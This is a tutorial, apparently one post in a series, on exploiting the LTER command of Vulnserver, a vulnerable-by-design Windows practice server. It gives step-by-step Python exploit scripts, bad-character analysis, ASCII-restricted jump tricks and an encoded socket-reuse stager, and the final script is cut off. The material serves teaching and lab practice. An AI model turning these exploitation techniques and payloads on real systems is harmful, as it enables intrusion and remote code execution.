LTER: Overcoming Bad Chars

Bad chars everywhere

Andres Roldan

June 23, 2020

This is the sixth article on the series of exploiting Vulnserver, a VbD (Vulnerable-by-Design) application in which you can practice Windows exploit development.

In previous posts, we have been able to exploit Vulnserver commands:

TRUN was exploited using a direct EIP overwrite, with virtually no space or character restrictions to work on.
GMON used a Structured Exception Handling (SEH) overwrite to take control of the execution flow.
GTER showed up with space restrictions and we were able to exploit it using egghunters and WinSocket stack reuse.
KSTET had a very narrow buffer for us to work on, but we were able to use a multistage exploit to get our shell.

So far, we’ve been faced with mostly buffer space issues, but with little to none restrictions on what kind of instructions we were allowed to use.

But in fact, instruction restrictions are the rule. Think about exploiting a Host HTTP header: A host name normally is only alphanumeric and few other chars are allowed. If we are going to inject code on that header, we would surely be limited to use instructions whose opcodes are in the allowed list.

In this post, we will exploit the Vulnserver LTER command.

We’ll have to use techniques we’ve learned on our previous posts and include others to exploit that command successfully.

Fingerprinting LTER

The enumeration part is the most important step. This will lead us to the right path of exploiting our target.

We can create a new connection and see how LTER command works:

$ telnet 192.168.0.20 9999
Trying 192.168.0.20...
Connected to 192.168.0.20.
Escape character is '^]'.
Welcome to Vulnerable Server! Enter HELP for help.
LTER me
LTER COMPLETE
LTER *
LTER COMPLETE
LTER 9
LTER COMPLETE
LTER [email protected]#$$%&*()
LTER COMPLETE

Now try with something bulkier:

Crash

Hmm, something’s not right. We can create an initial exploit to test faster.

import socket

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'LTER .' +
    b'A' * 4000
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)
    fd.recv(128)

Now use a debugger to see what’s going on:

Crash 2

Well, it seems we’re facing an SEH overwrite. Please, check this post for an explanation of SEH.

OK, we need to figure out the offset by:

Creating a cyclic pattern.
Checking the offset of the pattern found in the SEH handler.

Let’s do that:

$ msf-pattern_create -l 4000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac...

Update our exploit:

import socket

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'LTER .' +
    b'<inset pattern here>'
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)

And run it:

Pattern

The SEH handler was overwritten with 356F4534. We can check the offset using pattern_offset.rb:

$ msf-pattern_offset -q 356F4534
[*] Exact match at offset 3554

That means that the SEH handler was overwritten starting at byte 3554. Let’s update our exploit to reflect that offset:

import socket

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'LTER .' +
    b'A' * 3554 +
    b'B' * 4 +
    b'C' * (4000 - 3554 - 4)
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)

And check it:

Pattern OK

Great. If we trigger the exception handler, we will overwrite EIP.

Pattern OK

The stack window (bottom right) shows that our buffer is 8 bytes below the stack pointer ESP, so we need to find a POP/POP/RET sequence on the executable modules of Vulnserver that makes us land directly over the nSEH field which we now control. mona can help us:

POP POP RET

We instructed mona to find POP/POP/RET gadgets (seh) and exclude pointers with null bytes (-cp nonull), those with SafeSEH enabled (-cp safeseh=off) and not belonging to the OS (-o). That gave us 12 pointers.

Let’s use the first in the list (625010B4) to replace our B buffer:

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'LTER .' +
    b'A' * 3554 +
    # 625010B4    5B                          POP EBX
    # 625010B5    5D                          POP EBP
    # 625010B6    C3                          RETN
    struct.pack('<L', 0x625010B4) +
    b'C' * (4000 - 3554 - 4)
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)

With that, we’d be able to run that sequence that will direct the execution flow to our controlled buffer. Let’s check it:

Badchar return address

Hmmm, something’s not quite right. We injected 625010B4, but for some reason the application turned the last byte of the address (B4) to 35 and got 62501035 instead. We didn’t expect that.

We need to check what other variations would be applied to our buffer in order to get the available bytes we can work with.

Hunting for bad chars

Let’s look at this image:

ANSI

We can see here that our application works with ANSI encoded strings. ANSI chars are 1 byte long, which means that all the available ANSI chars are in the range from 0x00 to 0xff.

With that in mind, we need to know which of those 256 possible ANSI chars will be mangled by the application when we are injecting code.

To do that, mona can help us again:

!mona bytearray

This will create an array with all the 256 available ANSI chars:

ANSI

I’ve mentioned in other posts that it’s a good idea to exclude null chars (0x00), carriage return (0x0d) and line feed (0x0a) from our shellcode. We can filter them in advance with:

!mona bytearray -cpb '\x00\x0a\x0d'

Or with Python3:

EXCLUDE = ('0x0', '0xa', '0xd')
BADCHARS = bytes(bytearray([x for x in range(256) if hex(x) not in EXCLUDE]))

ANSI 2

Now we can inject that array into our exploit:

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

EXCLUDE = ('0x0', '0xa', '0xd')

BADCHARS = bytes(bytearray([x for x in range(256) if hex(x) not in EXCLUDE]))

PAYLOAD = (
    b'LTER .' +
    BADCHARS +
    b'A' * (3554 - len(BADCHARS)) +
    b'B' * 4 +
    b'C' * (4000 - 3554 - 4)
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)

Now, run this updated exploit to check how the LTER command treats all the chars:

Checking bad chars

We can see several things here:

Our payload of bad chars was successfully injected after the LTER . string.
It seems that all the chars, from 0x01 to 0x7f were successfully injected.
When the bytearray reached the char 0x80, it was converted to 0x01, then 0x81 to 0x02, and so on.

There is a more graphical way to check that, using mona once again:

!mona cmp -f C:\mona\vulnserver\bytearray.bin -a <badchars memory address>

This will tell mona to compare the contents of the previously created file C:\mona\vulnserver\bytearray.bin with the contents of the memory on where our bad chars array started. In the previous example, the bad chars were started to be injected on 00F0F1EE:

Bad chars start

So the mona command would be:

!mona cmp -f C:\mona\vulnserver\bytearray.bin -a 00F0F1EE

And the output would be:

Mona cmp

Here is the resulting comparison table:

[+] Comparing with memory at location : 0x00f0f1ee (Stack)
Only 125 original bytes of 'normal' code found.
    ,-----------------------------------------------.
    | Comparison results:                           |
    |-----------------------------------------------|
  0 |01 02 03 04 05 06 07 08 09 0b 0c 0e 0f 10 11 12| File
    |                                               | Memory
 10 |13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22| File
    |                                               | Memory
 20 |23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32| File
    |                                               | Memory
 30 |33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41 42| File
    |                                               | Memory
 40 |43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52| File
    |                                               | Memory
 50 |53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 61 62| File
    |                                               | Memory
 60 |63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72| File
    |                                               | Memory
 70 |73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f 80 81 82| File
    |                                       01 02 03| Memory
 80 |83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92| File
    |04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13| Memory
 90 |93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2| File
    |14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23| Memory
 a0 |a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2| File
    |24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32 33| Memory
 b0 |b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2| File
    |34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41 42 43| Memory
 c0 |c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2| File
    |44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53| Memory
 d0 |d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2| File
    |54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 61 62 63| Memory
 e0 |e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2| File
    |64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73| Memory
 f0 |f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff         | File
    |74 75 76 77 78 79 7a 7b 7c 7d 7e 7f 80         | Memory
    `-----------------------------------------------'

                | File      | Memory    | Note
.-----------------------------------------------------
0   0   125 125 | 01 ... 7f | 01 ... 7f | unmodified!
.-----------------------------------------------------
125 125 128 128 | 80 ... ff | 01 ... 80 | corrupted

Possibly bad chars: 80
Bytes omitted from input: 00 0a 0d

That’s a lot of very valuable information for us. Now it’s clear why our previously injected address 625010B4 was translated to 62501035.

Allowed charset

In the previous section, we were able to narrow the character set that was allowed for us to inject code. The characters range from hex 0x1 to 0x7f, excluding 0xa and 0xd. That range belongs to what’s known as the ASCII character set. In Linux, you can see the ASCII table using the command man 7 ascii. However, a simple search on Google will give thousands of results.

This means that for now on, we are limited to work with that set of characters.

The first thing we need to do is to search another POP/POP/RET gadget on a pointer that contains only bytes allowed on our character set. To do that, we can issue another command filtering the POP/POP/RET gadgets containing only ASCII bytes and excluding 0xa and 0xd:

!mona seh -cm safeseh=off -cp nonull,ascii -o -cpb '\x0a\x0d'

Fortunately for us, 3 pointers fulfill all our requirements:

ASCII POP/POP/RET

Let’s choose the first result at 6250172B and update our exploit:

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'LTER .' +
    b'A' * 3554 +
    # 6250172B    5F                          POP EDI
    # 6250172C    5D                          POP EBP
    # 6250172D    C3                          RETN
    struct.pack('<L', 0x6250172B) +
    b'C' * (4000 - 3554 - 4)
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)

And check if this time we are able to reach the POP/POP/RET sequence:

Return success

Yes! Things start to get better… or not?

Finding useful instructions

After the POP/POP/RET on 6250172B sequence is executed, we landed at the nSEH parameter, and we need to get past over the injected SEH handler address. What we did before with the GMON command was to perform a short jump. That jump had the bytecode \xeb\x08. However, this time we are limited by instructions on the \x00 - \x7f range, so the short jump opcode (\xeb) is not an option. We need to find an instruction that can perform a short jump and has an opcode in our allowed character set. That instruction must also fit in 4 bytes or less.

Luckily for us, conditional jumps are the answer:

They are 2 bytes long.
Most of them have opcodes on our allowed range.

However, we need to choose the appropriate condition that actually performs the jump. For example, if we choose the JNZ conditional, we must make sure that the condition is always true in order to perform the desired jump.

Or, we can use some discrete mathematics here and take advantage of predicated logic and use two opposite 2-bytes conditional jumps. The logic is simple:

Having Bool(ZF) = unknown
As we don’t know the current value of ZF, predicated logic says that Bool(ZF) || ~Bool(ZF) == true

So, instead of injecting a simple JNZ SHORT +0x8, we will inject two conditional jumps:

\x75\x08      ; JNZ SHORT +0x10: Will jump if ZF is 1
\x74\x06      ; JZ SHORT +0x8: If the previous jump didn't happen (ZF is 0), jump!

This will ensure that no matter the value of ZF on the processor, any of those instructions will be true, and the jump will be performed. Let’s update our exploit with that:

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'LTER .' +
    b'A' * (3554 - 4) +
    # JNZ SHORT +0x10: Will jump if ZF is 1
    b'\x75\x08' +
    # JZ SHORT +0x8: If the previous jump didn't happen (ZF is 0), jump!
    b'\x74\x06' +
    # 6250172B    5F                          POP EDI
    # 6250172C    5D                          POP EBP
    # 6250172D    C3                          RETN
    struct.pack('<L', 0x6250172B) +
    b'C' * (4000 - 3554 - 4)
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)

Now check if that worked:

Jump success

It did! The first condition was not met, the second was, and the jump succeded.

Now, after successfully jumping over the SEH handler, we landed on a 41-byte section where we injected our C buffer. What would normally happen is to perform a long jump back to the start of our A buffer to make some more room to inject something larger like a shellcode.

While that is certainly true, we can’t perform a normal long jump because it will contain unallowed bytes (\xff, for example).

Checking existing encoders

To overcome that, we will need to start encoding everything we inject, using our allowed characters, in a way that it will decode in memory and execute the needed action.

Let’s encode our first needed instruction: The long backward jump.

First, we need to get the desired opcode:

Long jump

As we can see, we’d need to inject an encoded version of E9 13 F2 FF FF.

First, we’re going to try existing encoders. We will try those available on msfvenom that generate an alphanumeric shellcode:

Failed encoders

Having a restricted 41-byte buffer, the common alphanumeric encoders are not viable:

x86/alpha_mixed produced a 71-byte shellcode.
x86/add_sub failed.
x86/opt_sub produced a 61-byte shellcode.

Maybe the long jump instruction is too large. Let’s try with the farthest possible short backward jump JMP SHORT +0x80 = \xeb\x80:

$ python -c "buff= b'\xeb\x80'; fd = open('jmp.bin', 'wb'); fd.write(buff)"
$ cat jmp.bin | msfvenom -p - -a x86 --platform windows -e x86/opt_sub -o /dev/null
Attempting to read payload from STDIN...
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/opt_sub
x86/opt_sub succeeded with size 45 (iteration=0)
x86/opt_sub chosen with final size 45
Payload size: 45 bytes
Saved as: /dev/null
$ cat jmp.bin | msfvenom -p - -a x86 --platform windows -e x86/alpha_mixed -o /dev/null
Attempting to read payload from STDIN...
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 66 (iteration=0)
x86/alpha_mixed chosen with final size 66
Payload size: 66 bytes
Saved as: /dev/null

Better. However, it won’t fit either. That means that we have to encode that short jump manually.

Manual encoding

Having our restricted allowed characters set, the technique we will use is known as ADD/SUB/AND encoding. The technique is fully described here.

Basically, what we’ll need to do is the following:

Point ESP to a place that will be in the execution flow path.
Manipulate EAX using ADD, SUB or AND instructions to make it hold our desired \xeb\x80 value.

Align ESP

To accomplish the first point, we need to do the following:

Get the current value of ESP.
Get the offset between the current ESP location and the place where we want it to be. Remember that it must be later on our execution path.
ADD that offset to ESP, so it effectively points to the new location.

Let’s do that:

Align ESP

Note that all the resulting bytes are in our allowed charset. Now update our exploit with those instructions:

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'LTER .' +
    b'A' * (3554 - 4) +
    # JNZ SHORT +0x10: Will jump if ZF is 1
    b'\x75\x08' +
    # JZ SHORT +0x6: If the previous jump didn't happen (ZF is 0), jump!
    b'\x74\x06' +
    # 6250172B    5F                          POP EDI
    # 6250172C    5D                          POP EBP
    # 6250172D    C3                          RETN
    struct.pack('<L', 0x6250172B) +
    b'C' * 2 +
    # Align stack pointer
    b'\x54' +               # PUSH ESP
    b'\x58' +               # POP EAX
    b'\x66\x05\x53\x14' +   # ADD AX,0x1453
    b'\x50' +               # PUSH EAX
    b'\x5c' +               # POP ESP
    b'C' * (4000 - 3554 - 4)
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)

And check it. If it works, ESP must point to the very end of our C buffer:

Align ESP

Great! It means that any PUSH instruction will put things in that place. And that’s exactly what we wanted to do.

Carve short jump

With that in place, we need to make EAX holds our short backward jump bytes, \xeb\x80. But we need to do it the right way:

Remember that EAX is a 32-bit register, so we must pad it with two NOPs. The resultant expected value should be \xeb\x80\x90\x90.
As we are pushing that on the stack and keeping in mind that the x86 architecture is little-endian, we must reverse that value and make EAX equal to \x90\x90\x80\xeb and then, when the PUSH EAX occurs, the injected value would be \xeb\x80\x90\x90.

First, we need to zero out EAX. This can be done using a couple of AND instructions:

AND EAX,504A5050
AND EAX,2A302A2A

This will work because:

504A5050 = 1010000010010100101000001010000
                                       AND
2A302A2A = 0101010001100000010101000101010
__________________________________________
           0000000000000000000000000000000

Then, we need to find some values that, when added, result in 909080eb. If we divide 909080eb by two, we will get 48484075.8. So we can add 48484075 to EAX and then add 48484076 to make it 909080eb.

Let’s see if that works:

Carve EAX

Great!

We can now execute PUSH EAX and our desired \xeb\x80 should emerge like magic:

Carve EAX

Isn’t it wonderful? It looks like black magic!

Let’s update our exploit with that:

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'LTER .' +
    b'A' * (3554 - 4) +
    # JNZ SHORT +0x10: Will jump if ZF is 1
    b'\x75\x08' +
    # JZ SHORT +0x6: If the previous jump didn't happen (ZF is 0), jump!
    b'\x74\x06' +
    # 6250172B    5F                          POP EDI
    # 6250172C    5D                          POP EBP
    # 6250172D    C3                          RETN
    struct.pack('<L', 0x6250172B) +
    b'C' * 2 +
    # Align stack pointer
    b'\x54' +                   # PUSH ESP
    b'\x58' +                   # POP EAX
    b'\x66\x05\x53\x14' +       # ADD AX,0x1453
    b'\x50' +                   # PUSH EAX
    b'\x5c' +                   # POP ESP
    # Make EAX = '909080eb'
    b'\x25\x50\x50\x4A\x50' +   # AND EAX,504A5050
    b'\x25\x2A\x2A\x30\x2A' +   # AND EAX,2A302A2A
    b'\x05\x75\x40\x48\x48' +   # ADD EAX,48484075
    b'\x05\x76\x40\x48\x48' +   # ADD EAX,48484076
    b'\x50' +                   # PUSH EAX
    b'C' * (4000 - 3554 - 4)
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)

More jumping around

Great, but we landed on a 78-byte buffer. We need to jump to the start of our A buffer. However, as we saw before, 78 bytes is more than enough for encoding and executing a long backward jump. We will use the same strategy as before.

First, we need to know the exact instruction of the desired long backward jump:

Second long jump

The resulting bytes are E9 2D F2 FF FF. We must perform a long jump not to the very start of our buffer, but somewhere in the first bytes. This is because we don’t know at this point the memory address on where the JMP instruction will be generated, and thus, the offset will likely change.

With the required bytes, we need to align the ESP pointer again. As we saw, it’s a good idea to point it to the higher memory of the block in order to avoid overwriting our encoded payload. This leads to:

push esp            ; Push the current value of ESP on the stack
pop eax             ; Pop it to EAX register
sub al,0x30         ; Substract 30 bytes from EAX
push eax            ; Push the resultant value of EAX to the stack
pop esp             ; Pop it back the ESP

Let’s update our exploit:

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'LTER .' +
    b'A' * (3554 - 4 - 79) +
    # Align stack for our long jump
    b'\x54' +           # PUSH ESP
    b'\x58' +           # POP EAX
    b'\x2c\x30' +       # SUB AL,30
    b'\x50' +           # PUSH EAX
    b'\x5c' +           # POP ESP
    b'A' * (79 - 6) +   # Fill the rest of our buffer with A
    # JNZ SHORT +0x10: Will jump if ZF is 1
    b'\x75\x08' +
    # JZ SHORT +0x6: If the previous jump didn't happen (ZF is 0), jump!
    b'\x74\x06' +
    # 6250172B    5F                          POP EDI
    # 6250172C    5D                          POP EBP
    # 6250172D    C3                          RETN
    struct.pack('<L', 0x6250172B) +
    b'C' * 2 +
    # Align stack pointer
    b'\x54' +                   # PUSH ESP
    b'\x58' +                   # POP EAX
    b'\x66\x05\x53\x14' +       # ADD AX,0x1453
    b'\x50' +                   # PUSH EAX
    b'\x5c' +                   # POP ESP
    # Make EAX = '909080eb'
    b'\x25\x50\x50\x4A\x50' +   # AND EAX,504A5050
    b'\x25\x2A\x2A\x30\x2A' +   # AND EAX,2A302A2A
    b'\x05\x75\x40\x48\x48' +   # ADD EAX,48484075
    b'\x05\x76\x40\x48\x48' +   # ADD EAX,48484076
    b'\x50' +                   # PUSH EAX
    b'C' * (4000 - 3554 - 4)
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)

And check it:

Align ESP

Great! We can now encode our long backward jump. This time I will use a tool called Automatic ASCII Shellcode Subtraction Encoder. Elias Augusto created it and I added some convenient improvements.

Let’s get our encoded jump:

$ python3 encoder.py -m -p -s 'E92DF2FFFF' -v LONG_JUMP
...
Shellcode length: 52
Shellcode Output:

LONG_JUMP  = b'\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x62\x21\x22\x23\x2d'
LONG_JUMP += b'\x38\x25\x2b\x28\x2d\x67\x28\x22\x24\x50\x25\x50\x50\x4a\x50\x25'
LONG_JUMP += b'\x2a\x2a\x30\x2a\x2d\x42\x7f\x29\x73\x2d\x7f\x25\x69\x2d\x2d\x56'
LONG_JUMP += b'\x2d\x7b\x5f\x50'

Great, let’s add that LONG_JUMP variable to our exploit:

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

LONG_JUMP  = b'\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x62\x21\x22\x23\x2d'
LONG_JUMP += b'\x38\x25\x2b\x28\x2d\x67\x28\x22\x24\x50\x25\x50\x50\x4a\x50\x25'
LONG_JUMP += b'\x2a\x2a\x30\x2a\x2d\x42\x7f\x29\x73\x2d\x7f\x25\x69\x2d\x2d\x56'
LONG_JUMP += b'\x2d\x7b\x5f\x50'

PAYLOAD = (
    b'LTER .' +
    b'A' * (3554 - 4 - 79) +
    # Align stack for our long jump
    b'\x54' +           # PUSH ESP
    b'\x58' +           # POP EAX
    b'\x2c\x30' +       # SUB AL,30
    b'\x50' +           # PUSH EAX
    b'\x5c' +           # POP ESP
    LONG_JUMP +
    b'A' * (79 - 6 - len(LONG_JUMP)) +   # Fill the rest of our buffer with A
    # JNZ SHORT +0x10: Will jump if ZF is 1
    b'\x75\x08' +
    # JZ SHORT +0x6: If the previous jump didn't happen (ZF is 0), jump!
    b'\x74\x06' +
    # 6250172B    5F                          POP EDI
    # 6250172C    5D                          POP EBP
    # 6250172D    C3                          RETN
    struct.pack('<L', 0x6250172B) +
    b'C' * 2 +
    # Align stack pointer
    b'\x54' +                   # PUSH ESP
    b'\x58' +                   # POP EAX
    b'\x66\x05\x53\x14' +       # ADD AX,0x1453
    b'\x50' +                   # PUSH EAX
    b'\x5c' +                   # POP ESP
    # Make EAX = '909080eb'
    b'\x25\x50\x50\x4A\x50' +   # AND EAX,504A5050
    b'\x25\x2A\x2A\x30\x2A' +   # AND EAX,2A302A2A
    b'\x05\x75\x40\x48\x48' +   # ADD EAX,48484075
    b'\x05\x76\x40\x48\x48' +   # ADD EAX,48484076
    b'\x50' +                   # PUSH EAX
    b'C' * (4000 - 3554 - 4)
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)

And check it:

Long jump success

Fantastic! Now we have enough room for encoding something really useful.

We will use the stager shellcode applied to exploit the KSTET command, with only a slight modification on the ESP alignment (2 bytes instead of 64; more information of that stager on the KSTET writeup):

shellcode.asm.

sub esp,0x2                ; Align ESP 2 bytes above
xor edi,edi             ; Zero out EDI
socket_loop:            ; Our bruteforce loop starts here
xor ebx,ebx             ; Zero out EBX
push ebx                ; Push 'flags' parameter = 0
add bh,0x4              ; Make EBX = 00000400 = 1024 bytes
push ebx                ; Push `len` parameter = 1024 bytes
mov ebx,esp             ; Move the current pointer of ESP into EBX
add ebx,0x64            ; Point EBX the original ESP to make it the pointer on
                        ; where our stage-2 payload will be received
push ebx                ; Push `*buf` parameter = Pointer to ESP+0x64
inc edi                 ; Make EDI = EDI + 1
push edi                ; Push socket handle `s` parameter = EDI = EDI + 1
mov eax,0x40252C90      ; We need to make EAX = 0040252C but we can't inject
                        ; null bytes. So 40252C90 is shift-left padded with 90
shr eax,0x8             ; Remove the '90' byte of EAX by shifting right and
                        ; This makes EAX = 0040252C
call eax                ; Call recv()
test eax,eax            ; Check if our recv() call was successfully made
jnz socket_loop         ; If recv() failed, jump back to the socket loop where
                        ; EDI will be increased to check the next socket handle

We can compile that using NASM:

nasm -f elf32 -o shellcode.o shellcode.asm

And get the expected shellcode with:

$ for i in $(objdump -d shellcode.o -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo
\x83\xec\x02\x31\xff\x31\xdb\x53\x80\xc7\x04\x53\x89\xe3\x83\xc3\x64\x53\x47
\x57\xb8\x90\x2c\x25\x40\xc1\xe8\x08\xff\xd0\x85\xc0\x75\xe3

Now, let’s encode that with our tool:

$ python3 ~/Automatic-ASCII-Shellcode-Subtraction-Encoder/encoder.py -m -p -s
'\x83\xec\x02\x31\xff\x31\xdb\x53\x80\xc7\x04\x53\x89\xe3\x83\xc3\x64\x53\x47
\x57\xb8\x90\x2c\x25\x40\xc1\xe8\x08\xff\xd0\x85\xc0\x75\xe3' -v STAGER
...
Shellcode length: 234
Shellcode Output:

STAGER  = b'\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x2b\x6f\x27\x21\x2d'
STAGER += b'\x30\x37\x26\x2b\x2d\x30\x76\x21\x23\x50\x25\x50\x50\x4a\x50\x25'
STAGER += b'\x2a\x2a\x30\x2a\x2d\x7f\x3e\x26\x7a\x2d\x3c\x7e\x22\x60\x2d\x46'
STAGER += b'\x72\x31\x65\x50\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x4f'
STAGER += b'\x6f\x6f\x61\x2d\x39\x6f\x77\x62\x2d\x38\x60\x30\x33\x50\x25\x50'
STAGER += b'\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x7b\x75\x33\x37\x2d\x67\x7e'
STAGER += b'\x7b\x27\x2d\x66\x7b\x24\x7c\x50\x25\x50\x50\x4a\x50\x25\x2a\x2a'
STAGER += b'\x30\x2a\x2d\x2d\x28\x2a\x62\x2d\x3e\x22\x3d\x22\x2d\x31\x62\x51'
STAGER += b'\x24\x50\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x7f\x76\x24'
STAGER += b'\x7f\x2d\x79\x7f\x35\x3e\x2d\x7f\x26\x22\x7f\x50\x25\x50\x50\x4a'
STAGER += b'\x50\x25\x2a\x2a\x30\x2a\x2d\x24\x67\x23\x23\x2d\x30\x68\x71\x28'
STAGER += b'\x2d\x2c\x69\x66\x61\x50\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a'
STAGER += b'\x2d\x33\x30\x7a\x5d\x2d\x70\x6c\x68\x26\x2d\x5e\x31\x42\x28\x50'
STAGER += b'\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x2b\x2a\x2a\x22\x2d'
STAGER += b'\x21\x6e\x6d\x32\x2d\x31\x7b\x65\x7a\x50'

We need to align our ESP pointer again:

push esp            ; Push the current value of ESP on the stack
pop eax             ; Pop it to EAX register
sub al,0x0b01       ; Substract 0x0b01 bytes from EAX
push eax            ; Push the resultant value of EAX to the stack
pop esp             ; Pop it back the ESP

And update our exploit with that. Remember to add a padding in the first bytes, so our long jump lands there and the execution slides to our stager:

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

LONG_JUMP  = b'\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x62\x21\x22\x23\x2d'
LONG_JUMP += b'\x38\x25\x2b\x28\x2d\x67\x28\x22\x24\x50\x25\x50\x50\x4a\x50\x25'
LONG_JUMP += b'\x2a\x2a\x30\x2a\x2d\x42\x7f\x29\x73\x2d\x7f\x25\x69\x2d\x2d\x56'
LONG_JUMP += b'\x2d\x7b\x5f\x50'

STAGER  = b'\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x2b\x6f\x27\x21\x2d'
STAGER += b'\x30\x37\x26\x2b\x2d\x30\x76\x21\x23\x50\x25\x50\x50\x4a\x50\x25'
STAGER += b'\x2a\x2a\x30\x2a\x2d\x7f\x3e\x26\x7a\x2d\x3c\x7e\x22\x60\x2d\x46'
STAGER += b'\x72\x31\x65\x50\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x4f'
STAGER += b'\x6f\x6f\x61\x2d\x39\x6f\x77\x62\x2d\x38\x60\x30\x33\x50\x25\x50'
STAGER += b'\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x7b\x75\x33\x37\x2d\x67\x7e'
STAGER += b'\x7b\x27\x2d\x66\x7b\x24\x7c\x50\x25\x50\x50\x4a\x50\x25\x2a\x2a'
STAGER += b'\x30\x2a\x2d\x2d\x28\x2a\x62\x2d\x3e\x22\x3d\x22\x2d\x31\x62\x51'
STAGER += b'\x24\x50\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x7f\x76\x24'
STAGER += b'\x7f\x2d\x79\x7f\x35\x3e\x2d\x7f\x26\x22\x7f\x50\x25\x50\x50\x4a'
STAGER += b'\x50\x25\x2a\x2a\x30\x2a\x2d\x24\x67\x23\x23\x2d\x30\x68\x71\x28'
STAGER += b'\x2d\x2c\x69\x66\x61\x50\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a'
STAGER += b'\x2d\x33\x30\x7a\x5d\x2d\x70\x6c\x68\x26\x2d\x5e\x31\x42\x28\x50'
STAGER += b'\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x2b\x2a\x2a\x22\x2d'
STAGER += b'\x21\x6e\x6d\x32\x2d\x31\x7b\x65\x7a\x50'

PAYLOAD = (
    b'LTER .' +
    b'A' * 16 +
    b'\x54' +               # PUSH ESP
    b'\x58' +               # POP EAX
    b'\x66\x2d\x01\x0b' +   # SUB AX,0x0b01
    b'\x50' +               # PUSH EAX
    b'\x5c' +               # POP ESP
    STAGER +
    b'A' * (3554 - 4 - 79 - 16 - 8 - len(STAGER)) +
    # Align stack for our long jump
    b'\x54' +           # PUSH ESP
    b'\x58' +           # POP EAX
    b'\x2c\x30' +       # SUB AL,30
    b'\x50' +           # PUSH EAX
    b'\x5c' +           # POP ESP
    LONG_JUMP +
    b'A' * (79 - 6 - len(LONG_JUMP)) +   # Fill the rest of our buffer with A
    # JNZ SHORT +0x10: Will jump if ZF is 1
    b'\x75\x08' +
    # JZ SHORT +0x6: If the previous jump didn't happen (ZF is 0), jump!
    b'\x74\x06' +
    # 6250172B    5F                          POP EDI
    # 6250172C    5D                          POP EBP
    # 6250172D    C3                          RETN
    struct.pack('<L', 0x6250172B) +
    b'C' * 2 +
    # Align stack pointer
    b'\x54' +                   # PUSH ESP
    b'\x58' +                   # POP EAX
    b'\x66\x05\x53\x14' +       # ADD AX,0x1453
    b'\x50' +                   # PUSH EAX
